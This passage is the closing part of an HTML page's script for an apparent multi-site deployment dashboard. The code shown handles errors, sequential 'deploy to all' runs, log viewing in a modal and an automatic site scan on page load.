                site.steps = [{ action: 'Error: ' + error.message, status: 'error' }];
                showAlert(`${domain}: Error - ${error.message}`, 'error');
                renderSites();
            } finally {
                deploying = false;
                document.getElementById('deployAllBtn').disabled = false;
            }
        }
        
        // Deploy all sites
        async function deployAll() {
            const pendingSites = sites.filter(s => s.status !== 'processing');
            if (pendingSites.length === 0) {
                showAlert('No sites to deploy', 'info');
                return;
            }
            
            const confirm = window.confirm(`Deploy to ${pendingSites.length} site(s)? This may take a few minutes.`);
            if (!confirm) return;
            
            const deployAllBtn = document.getElementById('deployAllBtn');
            deployAllBtn.disabled = true;
            deployAllBtn.innerHTML = '<i class="fas fa-spinner fa-pulse"></i> Deploying...';
            
            for (const site of pendingSites) {
                await deploySite(site.domain);
                await new Promise(resolve => setTimeout(resolve, 1000));
            }
            
            deployAllBtn.disabled = false;
            deployAllBtn.innerHTML = '<i class="fas fa-play"></i> Deploy to All Sites';
            showAlert('All deployments completed!', 'success');
        }
        
        // View logs
        function viewLogs(domain) {
            const site = sites.find(s => s.domain === domain);
            if (!site || !site.logs) return;
            
            const modal = document.getElementById('modal');
            const modalBody = document.getElementById('modalBody');
            const modalTitle = document.getElementById('modalTitle');
            
            modalTitle.innerHTML = `<i class="fas fa-list"></i> Deployment Logs - ${escapeHtml(domain)}`;
            modalBody.innerHTML = `
                <div style="background: #f8f9fa; padding: 15px; border-radius: 10px;">
                    ${site.logs.map(step => `
                        <div style="padding: 8px; border-bottom: 1px solid #e9ecef; display: flex; align-items: center; gap: 10px;">
                            <i class="fas ${step.status === 'success' ? 'fa-check-circle' : step.status === 'error' ? 'fa-times-circle' : step.status === 'processing' ? 'fa-spinner fa-pulse' : 'fa-info-circle'}" style="color: ${step.status === 'success' ? '#28a745' : step.status === 'error' ? '#dc3545' : '#17a2b8'}"></i>
                            <span>${escapeHtml(step.action)}</span>
                            ${step.size ? `<span style="margin-left: auto; font-size: 0.8rem; color: #666;">${escapeHtml(step.size)}</span>` : ''}
                        </div>
                    `).join('')}
                </div>
            `;
            
            modal.classList.add('active');
        }
        
        function closeModal() {
            document.getElementById('modal').classList.remove('active');
        }
        
        // Auto scan on load
        document.addEventListener('DOMContentLoaded', () => {
            scanSites();
        });
    </script>
</body>
</html>